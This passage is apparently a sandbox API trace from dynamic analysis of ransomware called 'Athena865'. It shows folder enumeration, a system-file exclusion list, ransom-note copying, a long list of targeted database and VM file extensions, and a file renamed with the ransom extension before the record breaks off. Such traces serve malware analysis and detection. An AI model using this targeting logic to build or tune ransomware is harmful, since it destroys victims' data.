(lpString1="Document Parts", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2=".") returned 1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="..") returned 1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="windows") returned -1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="bootmgr") returned 1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="temp") returned -1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="pagefile.sys") returned -1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="boot") returned 1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="ids.txt") returned -1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="ntuser.dat") returned -1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="perflogs") returned -1 [0069.457] lstrcmpiW (lpString1="Document Parts", lpString2="MSBuild") returned -1 [0069.458] lstrlenW (lpString="Document Parts") returned 14 [0069.458] lstrcpyW (in: lpString1=0x241e89e, lpString2="Document Parts" | out: lpString1="Document Parts") returned="Document Parts" [0069.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c2a8 [0069.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x74) returned 0x502ba8 [0069.458] lstrcatW (in: lpString1="Document Parts", lpString2="\\" | out: lpString1="Document Parts\\") returned="Document Parts\\" [0069.458] lstrcatW (in: lpString1="Document Parts\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Document Parts\\HOW TO BACK YOUR FILES.exe") returned="Document Parts\\HOW TO BACK YOUR FILES.exe" [0069.458] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Document Parts\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\document parts\\how to back your files.exe"), bFailIfExists=1) returned 1 [0069.460] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff0d00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xcfd6d220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6ff0d00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x1acf78, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DRILLDWN.DLL", cAlternateFileName="")) returned 1 [0069.460] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.460] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.460] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2=".") returned 1 [0069.460] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="..") returned 1 [0069.460] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="windows") returned -1 [0069.460] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="bootmgr") returned 1 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="temp") returned -1 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="pagefile.sys") returned -1 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="boot") returned 1 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="ids.txt") returned -1 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="ntuser.dat") returned -1 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="perflogs") returned -1 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2="MSBuild") returned -1 [0069.461] lstrlenW (lpString="DRILLDWN.DLL") returned 12 [0069.461] lstrcpyW (in: lpString1=0x241e89e, lpString2="DRILLDWN.DLL" | out: lpString1="DRILLDWN.DLL") returned="DRILLDWN.DLL" [0069.461] lstrlenW (lpString="DRILLDWN.DLL") returned 12 [0069.461] lstrlenW (lpString="Athena865") returned 9 [0069.461] lstrcmpiW (lpString1="LLDWN.DLL", lpString2="Athena865") returned 1 [0069.461] lstrlenW (lpString=".dll") returned 4 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2=".dll") returned 1 [0069.461] lstrlenW (lpString=".lnk") returned 4 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2=".lnk") returned 1 [0069.461] lstrlenW (lpString=".ini") returned 4 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2=".ini") returned 1 [0069.461] lstrlenW (lpString=".sys") returned 4 [0069.461] lstrcmpiW (lpString1="DRILLDWN.DLL", lpString2=".sys") returned 1 [0069.461] lstrlenW (lpString="DRILLDWN.DLL") returned 12 [0069.461] lstrlenW (lpString="bak") returned 3 [0069.461] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0069.461] lstrlenW (lpString="ba_") returned 3 [0069.461] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0069.461] lstrlenW (lpString="dbb") returned 3 [0069.461] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0069.461] lstrlenW (lpString="vmdk") returned 4 [0069.461] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0069.461] lstrlenW (lpString="rar") returned 3 [0069.461] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0069.461] lstrlenW (lpString="zip") returned 3 [0069.461] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0069.461] lstrlenW (lpString="tgz") returned 3 [0069.461] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0069.462] lstrlenW (lpString="vbox") returned 4 [0069.462] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0069.462] lstrlenW (lpString="vdi") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0069.462] lstrlenW (lpString="vhd") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0069.462] lstrlenW (lpString="vhdx") returned 4 [0069.462] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0069.462] lstrlenW (lpString="avhd") returned 4 [0069.462] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0069.462] lstrlenW (lpString="db") returned 2 [0069.462] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0069.462] lstrlenW (lpString="db2") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0069.462] lstrlenW (lpString="db3") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0069.462] lstrlenW (lpString="dbf") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0069.462] lstrlenW (lpString="mdf") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0069.462] lstrlenW (lpString="mdb") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0069.462] lstrlenW (lpString="sql") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0069.462] lstrlenW (lpString="sqlite") returned 6 [0069.462] lstrcmpiW (lpString1="WN.DLL", lpString2="sqlite") returned 1 [0069.462] lstrlenW (lpString="sqlite3") returned 7 [0069.462] lstrcmpiW (lpString1="DWN.DLL", lpString2="sqlite3") returned -1 [0069.462] lstrlenW (lpString="sqlitedb") returned 8 [0069.462] lstrcmpiW (lpString1="LDWN.DLL", lpString2="sqlitedb") returned -1 [0069.462] lstrlenW (lpString="xml") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0069.462] lstrlenW (lpString="$er") returned 3 [0069.462] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0069.463] lstrlenW (lpString="4dd") returned 3 [0069.463] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0069.463] lstrlenW (lpString="4dl") returned 3 [0069.463] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0069.463] lstrlenW (lpString="^^^") returned 3 [0069.463] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0069.463] lstrlenW (lpString="abs") returned 3 [0069.463] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0069.463] lstrlenW (lpString="abx") returned 3 [0069.463] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0069.463] lstrlenW (lpString="accdb") returned 5 [0069.463] lstrcmpiW (lpString1="N.DLL", lpString2="accdb") returned 1 [0069.463] lstrlenW (lpString="accdc") returned 5 [0069.463] lstrcmpiW (lpString1="N.DLL", lpString2="accdc") returned 1 [0069.463] lstrlenW (lpString="accde") returned 5 [0069.463] lstrcmpiW (lpString1="N.DLL", lpString2="accde") returned 1 [0069.463] lstrlenW (lpString="accdr") returned 5 [0069.463] lstrcmpiW (lpString1="N.DLL", lpString2="accdr") returned 1 [0069.463] lstrlenW (lpString="accdt") returned 5 [0069.463] lstrcmpiW (lpString1="N.DLL", lpString2="accdt") returned 1 [0069.463] lstrlenW (lpString="accdw") returned 5 [0069.463] lstrcmpiW (lpString1="N.DLL", lpString2="accdw") returned 1 [0069.463] lstrlenW (lpString="accft") returned 5 [0069.463] lstrcmpiW (lpString1="N.DLL", lpString2="accft") returned 1 [0069.463] lstrlenW (lpString="adb") returned 3 [0069.463] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.463] lstrlenW (lpString="adb") returned 3 [0069.463] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0069.463] lstrlenW (lpString="ade") returned 3 [0069.463] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0069.463] lstrlenW (lpString="adf") returned 3 [0069.463] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0069.463] lstrlenW (lpString="adn") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0069.464] lstrlenW (lpString="adp") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0069.464] lstrlenW (lpString="alf") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0069.464] lstrlenW (lpString="ask") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0069.464] lstrlenW (lpString="btr") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0069.464] lstrlenW (lpString="cat") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0069.464] lstrlenW (lpString="cdb") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0069.464] lstrlenW (lpString="ckp") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0069.464] lstrlenW (lpString="cma") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0069.464] lstrlenW (lpString="cpd") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0069.464] lstrlenW (lpString="dacpac") returned 6 [0069.464] lstrcmpiW (lpString1="WN.DLL", lpString2="dacpac") returned 1 [0069.464] lstrlenW (lpString="dad") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0069.464] lstrlenW (lpString="dadiagrams") returned 10 [0069.464] lstrcmpiW (lpString1="ILLDWN.DLL", lpString2="dadiagrams") returned 1 [0069.464] lstrlenW (lpString="daschema") returned 8 [0069.464] lstrcmpiW (lpString1="LDWN.DLL", lpString2="daschema") returned 1 [0069.464] lstrlenW (lpString="db-journal") returned 10 [0069.464] lstrcmpiW (lpString1="ILLDWN.DLL", lpString2="db-journal") returned 1 [0069.464] lstrlenW (lpString="db-shm") returned 6 [0069.464] lstrcmpiW (lpString1="WN.DLL", lpString2="db-shm") returned 1 [0069.464] lstrlenW (lpString="db-wal") returned 6 [0069.464] lstrcmpiW (lpString1="WN.DLL", lpString2="db-wal") returned 1 [0069.464] lstrlenW (lpString="dbc") returned 3 [0069.464] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0069.465] lstrlenW (lpString="dbs") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0069.465] lstrlenW (lpString="dbt") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0069.465] lstrlenW (lpString="dbv") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0069.465] lstrlenW (lpString="dbx") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0069.465] lstrlenW (lpString="dcb") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0069.465] lstrlenW (lpString="dct") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0069.465] lstrlenW (lpString="dcx") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0069.465] lstrlenW (lpString="ddl") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0069.465] lstrlenW (lpString="dlis") returned 4 [0069.465] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0069.465] lstrlenW (lpString="dp1") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0069.465] lstrlenW (lpString="dqy") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0069.465] lstrlenW (lpString="dsk") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0069.465] lstrlenW (lpString="dsn") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0069.465] lstrlenW (lpString="dtsx") returned 4 [0069.465] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0069.465] lstrlenW (lpString="dxl") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0069.465] lstrlenW (lpString="eco") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0069.465] lstrlenW (lpString="ecx") returned 3 [0069.465] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0069.465] lstrlenW (lpString="edb") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0069.466] lstrlenW (lpString="epim") returned 4 [0069.466] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0069.466] lstrlenW (lpString="fcd") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0069.466] lstrlenW (lpString="fdb") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0069.466] lstrlenW (lpString="fic") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0069.466] lstrlenW (lpString="flexolibrary") returned 12 [0069.466] lstrlenW (lpString="fm5") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0069.466] lstrlenW (lpString="fmp") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0069.466] lstrlenW (lpString="fmp12") returned 5 [0069.466] lstrcmpiW (lpString1="N.DLL", lpString2="fmp12") returned 1 [0069.466] lstrlenW (lpString="fmpsl") returned 5 [0069.466] lstrcmpiW (lpString1="N.DLL", lpString2="fmpsl") returned 1 [0069.466] lstrlenW (lpString="fol") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0069.466] lstrlenW (lpString="fp3") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0069.466] lstrlenW (lpString="fp4") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0069.466] lstrlenW (lpString="fp5") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0069.466] lstrlenW (lpString="fp7") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0069.466] lstrlenW (lpString="fpt") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0069.466] lstrlenW (lpString="frm") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0069.466] lstrlenW (lpString="gdb") returned 3 [0069.466] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.467] lstrlenW (lpString="gdb") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0069.467] lstrlenW (lpString="grdb") returned 4 [0069.467] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0069.467] lstrlenW (lpString="gwi") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0069.467] lstrlenW (lpString="hdb") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0069.467] lstrlenW (lpString="his") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0069.467] lstrlenW (lpString="ib") returned 2 [0069.467] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0069.467] lstrlenW (lpString="idb") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0069.467] lstrlenW (lpString="ihx") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0069.467] lstrlenW (lpString="itdb") returned 4 [0069.467] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0069.467] lstrlenW (lpString="itw") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0069.467] lstrlenW (lpString="jet") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0069.467] lstrlenW (lpString="jtx") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0069.467] lstrlenW (lpString="kdb") returned 3 [0069.467] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0069.467] lstrlenW (lpString="kexi") returned 4 [0069.467] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0069.467] lstrlenW (lpString="kexic") returned 5 [0069.467] lstrcmpiW (lpString1="N.DLL", lpString2="kexic") returned 1 [0069.467] lstrlenW (lpString="kexis") returned 5 [0069.467] lstrcmpiW (lpString1="N.DLL", lpString2="kexis") returned 1 [0069.467] lstrlenW (lpString="lgc") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0069.468] lstrlenW (lpString="lwx") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0069.468] lstrlenW (lpString="maf") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0069.468] lstrlenW (lpString="maq") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0069.468] lstrlenW (lpString="mar") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0069.468] lstrlenW (lpString="marshal") returned 7 [0069.468] lstrcmpiW (lpString1="DWN.DLL", lpString2="marshal") returned -1 [0069.468] lstrlenW (lpString="mas") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0069.468] lstrlenW (lpString="mav") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0069.468] lstrlenW (lpString="maw") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0069.468] lstrlenW (lpString="mdbhtml") returned 7 [0069.468] lstrcmpiW (lpString1="DWN.DLL", lpString2="mdbhtml") returned -1 [0069.468] lstrlenW (lpString="mdn") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0069.468] lstrlenW (lpString="mdt") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0069.468] lstrlenW (lpString="mfd") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0069.468] lstrlenW (lpString="mpd") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0069.468] lstrlenW (lpString="mrg") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0069.468] lstrlenW (lpString="mud") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0069.468] lstrlenW (lpString="mwb") returned 3 [0069.468] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0069.468] lstrlenW (lpString="myd") returned 3 [0069.469] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0069.469] lstrlenW (lpString="ndf") returned 3 [0069.469] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0069.469] lstrlenW (lpString="nnt") returned 3 [0069.469] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0069.469] lstrlenW (lpString="nrmlib") returned 6 [0069.471] lstrcmpiW (lpString1="WN.DLL", lpString2="nrmlib") returned 1 [0069.471] lstrlenW (lpString="ns2") returned 3 [0069.471] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0069.471] lstrlenW (lpString="ns3") returned 3 [0069.471] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0069.471] lstrlenW (lpString="ns4") returned 3 [0069.471] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0069.471] lstrlenW (lpString="nsf") returned 3 [0069.471] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0069.471] lstrlenW (lpString="nv") returned 2 [0069.471] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0069.471] lstrlenW (lpString="nv2") returned 3 [0069.471] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0069.471] lstrlenW (lpString="nwdb") returned 4 [0069.471] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0069.471] lstrlenW (lpString="nyf") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0069.472] lstrlenW (lpString="odb") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.472] lstrlenW (lpString="odb") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0069.472] lstrlenW (lpString="oqy") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0069.472] lstrlenW (lpString="ora") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0069.472] lstrlenW (lpString="orx") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0069.472] lstrlenW (lpString="owc") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0069.472] lstrlenW (lpString="p96") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0069.472] lstrlenW (lpString="p97") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0069.472] lstrlenW (lpString="pan") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0069.472] lstrlenW (lpString="pdb") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0069.472] lstrlenW (lpString="pdm") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0069.472] lstrlenW (lpString="pnz") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0069.472] lstrlenW (lpString="qry") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0069.472] lstrlenW (lpString="qvd") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0069.472] lstrlenW (lpString="rbf") returned 3 [0069.472] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0069.472] lstrlenW (lpString="rctd") returned 4 [0069.472] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0069.473] lstrlenW (lpString="rod") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0069.473] lstrlenW (lpString="rodx") returned 4 [0069.473] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0069.473] lstrlenW (lpString="rpd") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0069.473] lstrlenW (lpString="rsd") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0069.473] lstrlenW (lpString="sas7bdat") returned 8 [0069.473] lstrcmpiW (lpString1="LDWN.DLL", lpString2="sas7bdat") returned -1 [0069.473] lstrlenW (lpString="sbf") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0069.473] lstrlenW (lpString="scx") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0069.473] lstrlenW (lpString="sdb") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0069.473] lstrlenW (lpString="sdc") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0069.473] lstrlenW (lpString="sdf") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0069.473] lstrlenW (lpString="sis") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0069.473] lstrlenW (lpString="spq") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0069.473] lstrlenW (lpString="te") returned 2 [0069.473] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0069.473] lstrlenW (lpString="teacher") returned 7 [0069.473] lstrcmpiW (lpString1="DWN.DLL", lpString2="teacher") returned -1 [0069.473] lstrlenW (lpString="tmd") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0069.473] lstrlenW (lpString="tps") returned 3 [0069.473] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0069.473] lstrlenW (lpString="trc") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.474] lstrlenW (lpString="trc") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.474] lstrlenW (lpString="trm") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0069.474] lstrlenW (lpString="udb") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0069.474] lstrlenW (lpString="udl") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0069.474] lstrlenW (lpString="usr") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0069.474] lstrlenW (lpString="v12") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0069.474] lstrlenW (lpString="vis") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0069.474] lstrlenW (lpString="vpd") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0069.474] lstrlenW (lpString="vvv") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0069.474] lstrlenW (lpString="wdb") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0069.474] lstrlenW (lpString="wmdb") returned 4 [0069.474] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0069.474] lstrlenW (lpString="wrk") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0069.474] lstrlenW (lpString="xdb") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0069.474] lstrlenW (lpString="xld") returned 3 [0069.474] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0069.474] lstrlenW (lpString="xmlff") returned 5 [0069.474] lstrcmpiW (lpString1="N.DLL", lpString2="xmlff") returned -1 [0069.474] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.Athena865") returned 65 [0069.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.athena865"), dwFlags=0x1) returned 1 [0069.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DRILLDWN.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\drilldwn.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0069.475] GetFileSizeEx (in: 